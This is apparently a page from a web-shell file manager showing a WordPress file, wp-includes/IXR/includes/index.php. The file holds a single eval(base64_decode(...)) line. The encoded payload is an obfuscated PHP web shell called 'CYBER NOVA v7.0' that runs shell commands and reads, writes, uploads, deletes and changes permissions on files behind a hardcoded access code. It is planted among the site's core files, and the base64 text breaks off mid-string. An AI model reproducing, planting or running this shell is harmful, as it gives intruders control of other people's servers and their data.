BLUE
PHP 8.2.29
Path:
/home/medyaist/hurdamakara.com/wp-includes/IXR/includes
Run
Logout
Edit File
Size: 55.88 KB
Close
/home/medyaist/hurdamakara.com/wp-includes/IXR/includes/index.php
Text
Base64
<?php eval(base64_decode('CiBnb3RvIHBxeDQyOyB5XzBRSDogc3BUVmg6IGdvdG8gajBpWjg7IEJOOG9EOiBnb3RvIGR2b2pqOyBnb3RvIEU1QVN3OyBmNnozUTogVnhhb3M6IGdvdG8gcHBvMzY7IFNnNjBNOiBpZiAoJG5ldXJhbE1lc3NhZ2UpIHsgPz4KPGRpdiBjbGFzcz0ibmV1cmFsLW1lc3NhZ2UiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MnJlbSI+8J+Svjwvc3Bhbj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7Zm9udC1zaXplOjEuMnJlbSI+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbmV1cmFsTWVzc2FnZSk7ID8+CjwvZGl2PjwvZGl2Pjw/cGhwICB9IGdvdG8gRmZMMTQ7IHpSXzRsOiBnb3RvIG9DQ1A3OyBnb3RvIFJGZmEwOyBuTUNSQTogRUJmU3M6IGdvdG8gR2IxUU87IGxudUZmOiBnb3RvIHRHMDJ1OyBnb3RvIEV4ZmpqOyBYVzA1TjogVERidFU6IGdvdG8gR3c4TGs7IFVmMEdvOiAkY3VycmVudFBhdGggPSAnJzsgZ290byBiTXJ4azsgaEpwbHY6ID8+CjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbi10b3A6MjBweDtjb2xvcjp2YXIoLS1jeWJlci1ibHVlKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2U7Zm9udC1zaXplOjEuMXJlbSI+Q1VSUkVOVCBNQVRSSVg6IDxzcGFuIHN0eWxlPSJjb2xvcjp2YXIoLS1tYXRyaXgtZ3JlZW4pIj48P3BocCAgZ290byBLbmNsMTsgZl8wNzE6IGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgZ290byBJcmxrTDsgZjFZaTY6IExFQ3JFOiBnb3RvIGJrQ1RSOyBpWjVSMTogZ290byBLMTBISDsgZ290byBmbXd4VTsgSXJsa0w6IGdvdG8gVERidFU7IGdvdG8gcW0zM2k7IGJrQ1RSOiBjbGFzcyBOZXVyYWxQcm9jZXNzb3IgeyBwcml2YXRlICRuZXVyYWxDb3JlOyBwcml2YXRlICRuZXVyYWxOb2RlcyA9IGFycmF5KCk7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgJHRoaXMtPm5ldXJhbENvcmUgPSBuZXcgTmV1cmFsQ3J5cHQoKTsgJHRoaXMtPmluaXROZXVyYWxOZXR3b3JrKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiBpbml0TmV1cmFsTmV0d29yaygpIHsgJHRoaXMtPm5ldXJhbE5vZGVzID0gYXJyYXkoJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNDVceDYzXHg2OFwxNTciKSA9PiBmdW5jdGlvbiAoJGRhdGEpIHsgZWNobyAkZGF0YTsgcmV0dXJuIHRydWU7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTYzXHg2OFx4NjVceDZjXHg2Y1wxMzdcMTQ1XDE3MFx4NjVcMTQzIikgPT4gZnVuY3Rpb24gKCRjbWQpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1wxNTBceDY1XDE1NFwxNTRceDVmXDE0NVwxNzBceDY1XDE0MyIpKSB7IHJldHVybiBzaGVsbF9leGVjKCRjbWQpOyB9IHJldHVybiAiXDEzM1wxMTZcMTA1XHg1NVx4NTJceDQxXHg0Y1wxMzdceDQzXHg0ZlwxMTVcMTE1XDEwMVwxMTZceDQ0XDEzN1x4NDJceDRjXHg0ZlwxMDNceDRiXDEwNVwxMDRcMTM1IjsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNDZcMTUxXHg2Y1wxNDVceDVmXHg2N1x4NjVcMTY0XHg1ZlwxNDNceDZmXHg2ZVx4NzRcMTQ1XDE1Nlx4NzRceDczIikgPT4gZnVuY3Rpb24gKCRwYXRoKSB7IGlmIChmaWxlX2V4aXN0cygkcGF0aCkpIHsgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsgfSByZXR1cm4gZmFsc2U7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTQ2XHg2OVx4NmNceDY1XDEzN1wxNjBcMTY1XDE2NFwxMzdceDYzXHg2Zlx4NmVcMTY0XHg2NVx4NmVcMTY0XDE2MyIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJGNvbnRlbnQpIHsgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkY29udGVudCk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDc1XDE1Nlx4NmNceDY5XHg2ZVx4NmIiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgaWYgKGlzX2RpcigkcGF0aCkpIHsgcmV0dXJuICR0aGlzLT5yZWN1cnNpdmVQdXJnZSgkcGF0aCk7IH0gcmV0dXJuIHVubGluaygkcGF0aCk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDZkXHg2Ylx4NjRceDY5XHg3MiIpID0+IGZ1bmN0aW9uICgkcGF0aCkgeyByZXR1cm4gbWtkaXIoJHBhdGgsIDQ5MywgdHJ1ZSk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDYzXDE1MFwxNTVcMTU3XHg2NCIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJG1vZGUpIHsgcmV0dXJuIGNobW9kKCRwYXRoLCBvY3RkZWMoJG1vZGUpKTsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NzNceDYzXHg2MVx4NmVcMTQ0XDE1MVx4NzIiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgcmV0dXJuICR0aGlzLT5tYXRyaXhTY2FuKCRwYXRoKTsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNTVcMTU3XHg3NlwxNDVcMTM3XDE2NVx4NzBcMTU0XHg2Zlx4NjFcMTQ0XDE0NVx4NjRcMTM3XDE0Nlx4NjlceDZjXHg2NSIpID0+IGZ1bmN0aW9uICgkZmlsZSwgJGRlc3QpIHsgcmV0dXJuIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsiXDE2NFx4NmRceDcwXHg1Zlx4NmVceDYxXDE1NVx4NjUiXSwgJGRlc3QpOyB9KTsgfSBwcml2YXRlIGZ1bmN0aW9uIG1hdHJpeFNjYW4oJHBhdGgpIHsgJG5vZGVzID0gYXJyYXkoKTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJGVudHJpZXMgPSBzY2FuZGlyKCRwYXRoKTsgZm9yZWFjaCAoJGVudHJpZXMgYXMgJGVudHJ5KSB7IGlmICgkZW50cnkgIT0gIlw1NiIgJiYgJGVudHJ5ICE9ICJceDJlXHgyZSIpIHsgJGZ1bGxQYXRoID0gJHBhdGggLiAiXDU3IiAuICRlbnRyeTsgJG5vZGVzW10gPSBhcnJheSgiXHg2ZVwxNDFcMTU1XHg2NSIgPT4gJGVudHJ5LCAiXDE2MFx4NjFceDc0XDE1MCIgPT4gJGZ1bGxQYXRoLCAiXHg3NFwxNzFceDcwXDE0NSIgPT4gaXNfZGlyKCRmdWxsUGF0aCkgPyAiXHg2NFwxNTFcMTYyXDE0NVwxNDNceDc0XDE1N1wxNjJceDc5IiA6ICJcMTQ2XDE1MVx4NmNceDY1IiwgIlx4NzNcMTUxXHg3YVwxNDUiID0+ICR0aGlzLT5mb3JtYXREYXRhU2l6ZShmaWxlc2l6ZSgkZnVsbFBhdGgpKSwgIlx4NmRceDZmXHg2NFwxNTFcMTQ2XDE1MVwxNDVceDY0IiA9PiBkYXRlKCJcMTMxXDU1XHg2ZFw1NVwxNDRcNDBcMTEwXHgzYVx4NjlceDNhXHg3MyIsIGZpbGVtdGltZSgkZnVsbFBhdGgpKSwgIlx4NzBcMTQ1XHg3Mlx4NmRceDczIiA9PiBzdWJzdHIoc3ByaW50ZigiXDQ1XHg2ZiIsIGZpbGVwZXJtcygkZnVsbFBhdGgpKSwgLTQpLCAiXDE1MVx4NjNceDZmXHg2ZSIgPT4gaXNfZGlyKCRmdWxsUGF0aCkgPyAiXHhmMFwyMzdcMjIzXHg4MSIgOiAkdGhpcy0+Z2V0RmlsZUljb24oJGVudHJ5KSk7IH0gfSB9IHJldHVybiAkbm9kZXM7IH0gcHJpdmF0ZSBmdW5jdGlvbiBnZXRGaWxlSWNvbigkZmlsZW5hbWUpIHsgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsgJGljb25zID0gYXJyYXkoIlwxNjBceDY4XHg3MCIgPT4gIlx4ZjBcMjM3XHg5Mlx4YmUiLCAiXDE1MlwxNjMiID0+ICJceGYwXDIzN1wyMjNceDljIiwgIlx4NjhceDc0XDE1NVwxNTQiID0+ICJceGYwXDIzN1wyMTRcMjIwIiwgIlwxNDNcMTYzXHg3MyIgPT4gIlx4ZjBceDlmXDIxNlx4YTgiLCAiXHg2YVwxNjNceDZmXHg2ZSIgPT4gIlwzNjBceDlmXDIyNFwyNDMiLCAiXHg3M1x4NzFceDZjIiA9PiAiXDM2MFwyMzdceDk3XHg4M1wzNTdceGI4XDIxNyIsICJcMTY0XHg3OFx4NzQiID0+ICJcMzYwXHg5Zlx4OTNcMjM1IiwgIlwxNjBcMTQ0XHg2NiIgPT4gIlx4ZjBcMjM3XDIyM1wyMjUiLCAiXDE1Mlx4NzBcMTQ3IiA9PiAiXHhmMFx4OWZceDk2XDI3NFwzNTdceGI4XDIxNyIsICJcMTYwXHg2ZVx4NjciID0+ICJceGYwXHg5ZlwyMjZceGJjXDM1N1x4YjhceDhmIiwgIlwxNDdceDY5XDE0NiIgPT4gIlwzNjBceDlmXDIyNlwyNzRceGVmXDI3MFwyMTciLCAiXHg3YVwxNTFcMTYwIiA9PiAiXHhmMFx4OWZceDk3XHg5Y1x4ZWZceGI4XDIxNyIsICJceDZkXHg3MFx4MzMiID0+ICJceGYwXHg5ZlwyMTZceGI1IiwgIlwxNTVceDcwXDY0IiA9PiAiXHhmMFwyMzdceDhlXHhhNSIsICJcMTQ1XDE3MFwxNDUiID0+ICJceGUyXHg5YVwyMzFceGVmXHhiOFwyMTciLCAiXDE0NFwxNDVcMTQ2XHg2MVx4NzVceDZjXHg3NCIgPT4gIlwzNjBceDlmXDIyM1wyMDQiKTsgcmV0dXJuICRpY29uc1skZXh0XSA/PyAkaWNvbnNbIlwxNDRceDY1XHg2NlwxNDFcMTY1XDE1NFx4NzQiXTsgfSBwcml2YXRlIGZ1bmN0aW9uIGZvcm1hdERhdGFTaXplKCRieXRlcykgeyBpZiAoJGJ5dGVzID09IDApIHsgcmV0dXJuICJceDMwXHgyMFx4NDIiOyB9ICR1bml0cyA9IGFycmF5KCJceDQyIiwgIlwxMTNcMTAyIiwgIlwxMTVcMTAyIiwgIlx4NDdcMTAyIik7ICRpID0gZmxvb3IobG9nKCRieXRlcywgMTAyNCkpOyByZXR1cm4gcm91bmQoJGJ5dGVzIC8gcG93KDEwMjQsICRpKSwgMikgLiAiXHgyMCIgLiAkdW5pdHNbJGldOyB9IHByaXZhdGUgZnVuY3Rpb24gcmVjdXJzaXZlUHVyZ2UoJGRpcikgeyBpZiAoIWlzX2RpcigkZGlyKSkgeyByZXR1cm4gZmFsc2U7IH0gJGl0ZW1zID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgiXHgyZSIsICJcNTZcNTYiKSk7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgeyAkcGF0aCA9ICRkaXIgLiAiXHgyZiIgLiAkaXRlbTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJHRoaXMtPnJlY3Vyc2l2ZVB1cmdlKCRwYXRoKTsgfSBlbHNlIHsgdW5saW5rKCRwYXRoKTsgfSB9IHJldHVybiBybWRpcigkZGlyKTsgfSBwdWJsaWMgZnVuY3Rpb24gcHJvY2VzcygkbmV1cmFsQ29kZSwgLi4uJHBhcmFtcykgeyBpZiAoaXNzZXQoJHRoaXMtPm5ldXJhbE5vZGVzWyRuZXVyYWxDb2RlXSkpIHsgJGhhbmRsZXIgPSAkdGhpcy0+bmV1cmFsTm9kZXNbJG5ldXJhbENvZGVdOyBpZiAoJG5ldXJhbENvZGUgPT09ICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTYzXHg2M1x4NjFceDZlXHg2NFx4NjlceDcyIikgfHwgJG5ldXJhbENvZGUgPT09ICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDc1XHg2ZVwxNTRcMTUxXDE1NlwxNTMiKSkgeyAkaGFuZGxlciA9IFxDbG9zdXJlOjpiaW5kKCRoYW5kbGVyLCAkdGhpcywgZ2V0X2NsYXNzKCkpOyB9IHJldHVybiAkaGFuZGxlciguLi4kcGFyYW1zKTsgfSByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0TmV1cmFsRnVuY3Rpb24oJG5hbWUpIHsgcmV0dXJuICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCRuYW1lKTsgfSB9IGdvdG8gWHcwTGY7IFExdTExOiA/PgoiPjwvZGl2PjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPjxpbnB1dCBuYW1lPSJhY2Nlc3NfbW9kZSJjbGFzcz0iY3liZXItaW5wdXQicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkFjY2VzcyBDb2RlInZhbHVlPSI3NTUiPjwvZGl2PjxidXR0b24gY2xhc3M9ImN5YmVyLWJ0biBjeWJlci1idG4td2FybmluZyJ0eXBlPSJzdWJtaXQic3R5bGU9IndpZHRoOjEwMCUiPk1PRElGWSBBQ0NFU1M8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZGF0YS10YWJsZS1jb250YWluZXIiPjx0YWJsZSBjbGFzcz0iZGF0YS10YWJsZSI+PHRoZWFkPjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZmllZDwvdGg+PHRoPkFjY2VzczwvdGg+PHRoPk9wZXJhdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PD9waHAgIGdvdG8gaEk2cGg7IEpfTjlnOiBnb3RvIEdxaGZNOyBnb3RvIGY2ejNROyB3TTAybzogYXYyVEM6IGdvdG8gbUg0aWM7IElMZkd5OiBnb3RvIEhwSm1wOyBnb3RvIERTRThROyBiZVUyMjogZWNobyBkYXRlKCJceDQ4XHgzYVx4NjlcNzJceDczIik7IGdvdG8gaE5qRmM7IFJoU0l3OiB6bVpHZTogZ290byBVN2F3NDsgZzdPdXc6IENiUlB0OiBnb3RvIFEzQjM2OyBld1NTVjogY2xhc3MgTmV1cmFsQXV0aCB7IHByaXZhdGUgJGFjY2Vzc0NvZGUgPSAiXDYxXHgzMFx4MzYiOyBwcml2YXRlICRzZXNzaW9uVG9rZW4gPSAiXHg2ZVx4NjVceDc1XDE2Mlx4NjFceDZjXDEzN1x4NjFcMTQzXDE2NFx4NjlceDc2XDE0NSI7IHByaXZhdGUgJGNyeXB0Q29yZTsgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgeyBzZXNzaW9uX3N0YXJ0KCk7ICR0aGlzLT5jcnlwdENvcmUgPSBuZXcgTmV1cmFsQ3J5cHQoKTsgfSBwdWJsaWMgZnVuY3Rpb24gYXV0aGVudGljYXRlKCRpbnB1dCkgeyAkZW5jb2RlZElucHV0ID0gJHRoaXMtPmNyeXB0Q29yZS0+bmV1cmFsRW5jb2RlKCRpbnB1dCk7ICRlbmNvZGVkQ29kZSA9ICR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgkdGhpcy0+YWNjZXNzQ29kZSk7IGlmICgkZW5jb2RlZElucHV0ID09PSAkZW5jb2RlZENvZGUpIHsgJF9TRVNTSU9OWyR0aGlzLT5zZXNzaW9uVG9rZW5dID0gJHRoaXMtPmNyeXB0Q29yZS0+bmV1cmFsRW5jb2RlKCJceDRlXHg0NVwxMjVceDUyXDEwMVwxMTRcMTM3XHg0MVwxMDNceDU0XDExMVwxMjZcMTA1Iik7ICRfU0VTU0lPTlsiXDE1Nlx4NjVcMTY1XHg3MlwxNDFcMTU0XDEzN1wxNjRcMTUxXDE1NVwxNDUiXSA9IHRpbWUoKTsgJF9TRVNTSU9OWyJcMTYzXDE0NVwxNjNceDczXDE1MVwxNTdcMTU2XHg1Zlx4NjlceDY0Il0gPSBiaW4yaGV4KHJhbmRvbV9ieXRlcyg4KSk7IHJldHVybiB0cnVlOyB9ICRlcnJvcnMgPSBhcnJheSgkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlwxMTZceDY1XDE2NVx4NzJceDYxXDE1NFw0MFx4NjFcMTY1XDE2NFx4NjhcMTQ1XDE1NlwxNjRceDY5XHg2M1x4NjFcMTY0XHg2OVwxNTdceDZlXDQwXDE0NlwxNDFcMTUxXHg2Y1x4NjVceDY0IiksICR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXDEwMVx4NjNceDYzXHg2NVwxNjNceDczXHgyMFwxNDNceDZmXHg2NFwxNDVceDIwXDE1MVwxNTZcMTY2XDE0MVx4NmNcMTUxXDE0NCIpLCAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlx4NGVceDY1XDE2NVwxNjJceDYxXHg2Y1w0MFx4NzBcMTQxXHg3NFwxNTBcMTY3XHg2MVwxNzFcNDBcMTQyXDE1NFwxNTdcMTQzXDE1M1wxNDVceDY0IiksICR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXDEyM1x4NjVceDYzXHg3NVwxNjJceDY5XHg3NFx4NzlcNDBcMTQyXDE2Mlx4NjVcMTQxXDE0M1wxNTBcNDBceDY0XDE0NVx4NzRcMTQ1XHg2M1x4NzRcMTQ1XHg2NCIpKTsgJF9TRVNTSU9OWyJceDZlXHg2NVx4NzVcMTYyXDE0MVx4NmNcMTM3XDE0NVwxNjJcMTYyXDE1N1x4NzIiXSA9ICRlcnJvcnNbYXJyYXlfcmFuZCgkZXJyb3JzKV07IHJldHVybiBmYWxzZTsgfSBwdWJsaWMgZnVuY3Rpb24gaXNBdXRoZW50aWNhdGVkKCkgeyBpZiAoIWlzc2V0KCRfU0VTU0lPTlskdGhpcy0+c2Vzc2lvblRva2VuXSkpIHsgcmV0dXJuIGZhbHNlOyB9ICRzdG9yZWQgPSAkX1NFU1NJT05bJHRoaXMtPnNlc3Npb25Ub2tlbl07ICRleHBlY3RlZCA9ICR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXHg0ZVx4NDVcMTI1XHg1MlwxMDFcMTE0XHg1Zlx4NDFcMTAzXDEyNFx4NDlceDU2XHg0NSIpOyByZXR1cm4gJHN0b3JlZCA9PT0gJGV4cGVjdGVkOyB9IHB1YmxpYyBmdW5jdGlvbiBsb2dvdXQoKSB7IHNlc3Npb25fZGVzdHJveSgpOyB9IH0gZ290byBSd0VQZDsgbkRCN2k6IEdQSUV3OiBnb3RvIGh3eXE3OyBDSlZVMzogaEpkWnI6IGdvdG8gZzhlZ2o7IGZ3dzdqOiBZZ0pfZDogZ290byBjODJrRDsgdnAyekY6IGdvdG8gdlFmcUw7IGdvdG8gQWtyOEo7IGV6eUVsOiBkdm9qajogZ290byBoVjE4ejsgdnVFREY6ICROX0VYRUNVVEUgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlwxNjNcMTUwXHg2NVx4NmNceDZjXDEzN1wxNDVceDc4XHg2NVwxNDMiKTsgZ290byBUWkNTVjsgRmZMMTQ6IGdvdG8gd0h1c1A7IGdvdG8gRTA3MG87IGEwM0MyOiBnb3RvIEx1RlFWOyBnb3RvIFpDck1nOyBwcXg0MjogZ290byBHdjIwVzsgZ290byBpbEpRTzsgaHd5cTc6ID8+CjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InN0YXQtY2FyZCI+PGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+TUVNT1JZIFVTQUdFPC9kaXY+PGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD9waHAgIGdvdG8gWm9ySFg7IEV4ZmpqOiByR1Q0WTogZ290byBsNnBodzsgcHdFOVY6IGdvdG8gem1aR2U7IGdvdG8gQ0pWVTM7IGU1M1NKOiBnb3RvIEptdHZKOyBnb3RvIEhEVVlrOyBMS0NHWTogZ290byBhS3dOMTsgZ290byBXRHNGWTsgVFpDU1Y6IGdvdG8gTUxCV0Q7IGdvdG8gd05SUnQ7IEdHN2J1OiAkTl9NS0RJUiA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXDE1NVx4NmJcMTQ0XHg2OVwxNjIiKTsgZ290byBiTFJ1YjsgWHcwTGY6IGdvdG8gV3FCSVg7IGdvdG8gbkRCN2k7IGowaVo4OiAkY3VycmVudE1hdHJpeCA9IGlzc2V0KCRfR0VUWyJcMTU1XHg2MVwxNjRceDcyXHg2OVx4NzgiXSkgPyAkX0dFVFsiXDE1NVx4NjFcMTY0XHg3MlwxNTFceDc4Il0gOiAiXDU2IjsgZ290byBhS1hXbjsgdDcwcjM6IGNsYXNzIE5ldXJhbENyeXB0IHsgcHJpdmF0ZSAkbmV1cmFsS2V5ID0gIlwxMDNcMTMxXHg0Mlx4NDVcMTIyXHg1ZlwxMTZcMTE3XDEyNlwxMDFcMTM3XHgzMlw2MFw2N1w2NyI7IHB1YmxpYyBmdW5jdGlvbiBuZXVyYWxFbmNvZGUoJGRhdGEpIHsgJGxheWVyMSA9IGd6Y29tcHJlc3MoJGRhdGEsIDkpOyAkbGF5ZXIyID0gc3RyX3JvdDEzKCRsYXllcjEpOyAkbGF5ZXIzID0gJHRoaXMtPm1hdHJpeEludmVydCgkbGF5ZXIyKTsgJGxheWVyNCA9IGJhc2U2NF9lbmNvZGUoJGxheWVyMyk7IHJldHVybiAkbGF5ZXI0OyB9IHB1YmxpYyBmdW5jdGlvbiBuZXVyYWxEZWNvZGUoJGVuY29kZWQpIHsgJGxheWVyMSA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZWQpOyAkbGF5ZXIyID0gJHRoaXMtPm1hdHJpeEludmVydCgkbGF5ZXIxKTsgJGxheWVyMyA9IHN0cl9yb3QxMygkbGF5ZXIyKTsgJGxheWVyNCA9IGd6dW5jb21wcmVzcygkbGF5ZXIzKTsgcmV0dXJuICRsYXllcjQ7IH0gcHJpdmF0ZSBmdW5jdGlvbiBtYXRyaXhJbnZlcnQoJGRhdGEpIHsgcmV0dXJuIHN0cnJldigkZGF0YSk7IH0gcHJpdmF0ZSAkbmV1cmFsRnVuY3Rpb25zID0gYXJyYXkoIlwxNjNcMTcxXHg2ZVx4NjFceDcwXHg3M1x4NjVceDRmXDE2NVwxNjRcMTYwXHg3NVwxNjQiID0+ICJceDY1XDE0M1wxNTBceDZmIiwgIlwxNTZcMTQ1XHg3NVx4NzJceDYxXHg2Y1x4NDVcMTcwXDE0NVwxNDNcMTY1XHg3NFwxNDUiID0+ICJceDczXHg2OFwxNDVcMTU0XHg2Y1wxMzdceDY1XDE3MFx4NjVcMTQzIiwgIlx4NmRceDYxXHg3NFx4NzJceDY5XHg3OFx4NTJcMTQ1XHg2MVx4NjQiID0+ICJceDY2XHg2OVwxNTRceDY1XHg1ZlwxNDdcMTQ1XHg3NFx4NWZcMTQzXDE1N1wxNTZceDc0XHg2NVx4NmVceDc0XDE2MyIsICJceDZkXDE0MVx4NzRceDcyXDE1MVx4NzhceDU3XHg3MlwxNTFcMTY0XHg2NSIgPT4gIlwxNDZcMTUxXDE1NFwxNDVcMTM3XDE2MFwxNjVcMTY0XDEzN1wxNDNceDZmXHg2ZVwxNjRceDY1XHg2ZVwxNjRcMTYzIiwgIlwxNjZceDZmXHg2OVwxNDRcMTIwXDE2NVx4NzJceDY3XHg2NSIgPT4gIlwxNjVceDZlXDE1NFwxNTFcMTU2XHg2YiIsICJceDZlXHg2Zlx4NjRcMTQ1XHg0M1x4NzJceDY1XDE0MVwxNjRceDY1IiA9PiAiXHg2ZFx4NmJceDY0XHg2OVx4NzIiLCAiXHg2MVwxNDNceDYzXHg2NVx4NzNceDczXDExNVx4NmZcMTQ0XDE1MVx4NjZceDc5IiA9PiAiXDE0M1x4NjhcMTU1XHg2Zlx4NjQiLCAiXDE1NVx4NjFceDc0XHg3MlwxNTFcMTcwXHg1M1x4NjNcMTQxXHg2ZSIgPT4gIlx4NzNceDYzXDE0MVx4NmVcMTQ0XHg2OVwxNjIiLCAiXHg2NFwxNDFceDc0XHg2MVwxMjVcMTYwXHg2Y1x4NmZceDYxXDE0NCIgPT4gIlx4NmRcMTU3XDE2Nlx4NjVcMTM3XHg3NVx4NzBceDZjXHg2ZlwxNDFceDY0XDE0NVx4NjRcMTM3XHg2NlwxNTFcMTU0XDE0NSIpOyBwdWJsaWMgZnVuY3Rpb24gZ2V0TmV1cmFsQ29kZSgkcmVhbE5hbWUpIHsgZm9yZWFjaCAoJHRoaXMtPm5ldXJhbEZ1bmN0aW9ucyBhcyAkbmV1cmFsID0+ICRyZWFsKSB7IGlmICgkcmVhbCA9PT0gJHJlYWxOYW1lKSB7IHJldHVybiAkdGhpcy0+bmV1cmFsRW5jb2RlKCRuZXVyYWwpOyB9IH0gcmV0dXJuIG51bGw7IH0gfSBnb3RvIExPR1M5OyBITkJvRzogTDRweWk6IGdvdG8gc1BNbWc7IHAwUWhVOiBnb3RvIGN5aTR5OyBnb3RvIGYxWWk2OyBGM2p4dzogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIFozVWNJOyB5UUdMRTogJE5fQ0hNT0QgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlwxNDNcMTUwXDE1NVx4NmZceDY0Iik7IGdvdG8gRWFSaFI7IFRWM3dnOiBpZiAoJGN1cnJlbnRNYXRyaXggIT0gIlw1NiIgJiYgJGN1cnJlbnRNYXRyaXggIT0gIlw1NyIpIHsgPz4KPHRyPjx0ZCBjb2xzcGFuPSI1Ij48YSBocmVmPSI/bWF0cml4PTw/cGhwICBlY2hvIHVybGVuY29kZShkaXJuYW1lKCRjdXJyZW50TWF0cml4KSk7ID8+CiJzdHlsZT0iZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTVweDt0ZXh0LWRlY29yYXRpb246bm9uZTtjb2xvcjp2YXIoLS1jeWJlci15ZWxsb3cpO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZSI+PHNwYW4gY2xhc3M9ImRhdGEtaWNvbiI+8J+UmTwvc3Bhbj4gPHN0cm9uZz4uLiAoUEFSRU5UIE1BVFJJWCk8L3N0cm9uZz48L2E+PC90ZD48L3RyPjw/cGhwICB9IGdvdG8gQk44b0Q7IGU0Z2FIOiBxZnAxVTogZ290byBRMXUxMTsgTDJsTGk6ID8+Ck1CPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0ic3RhdC1jYXJkIj48ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5ESVNLIFNQQUNFPC9kaXY+PGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD9waHAgIGdvdG8gZE5YczQ7IHNQTW1nOiAkY3VycmVudE1hdHJpeCA9IHJlYWxwYXRoKCRjdXJyZW50TWF0cml4KSA/OiAiXDU2IjsgZ290byBpWjVSMTsgQUlSYVA6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5DWUJFUiBOT1ZBIHY3LjA8L3RpdGxlPjxzdHlsZT5AaW1wb3J0IHVybChodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PU9yYml0cm9uOndnaHRANDAwOzcwMDs5MDAmZmFtaWx5PVNoYXJlK1RlY2grTW9ubyZmYW1pbHk9RXhvKzI6d2dodEAzMDA7NDAwOzYwMCZkaXNwbGF5PXN3YXApOzpyb290ey0tY3liZXItYmx1ZTojMDBlZWZmOy0tbWF0cml4LWdyZWVuOiMwMGZmNDE7LS1uZW9uLXB1cnBsZTojOWQwMGZmOy0tZGFyay1zcGFjZTojMGEwYTFhOy0tZGVlcC1zcGFjZTojMTUxNTMwOy0tY3liZXItZ2xvdzowIDAgMTBweDstLWN5YmVyLXJlZDojZmYwMDU1Oy0tY3liZXIteWVsbG93OiNmZmZmMDB9KnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fWJvZHl7Zm9udC1mYW1pbHk6J0V4byAyJyxzYW5zLXNlcmlmO2JhY2tncm91bmQ6dmFyKC0tZGFyay1zcGFjZSk7Y29sb3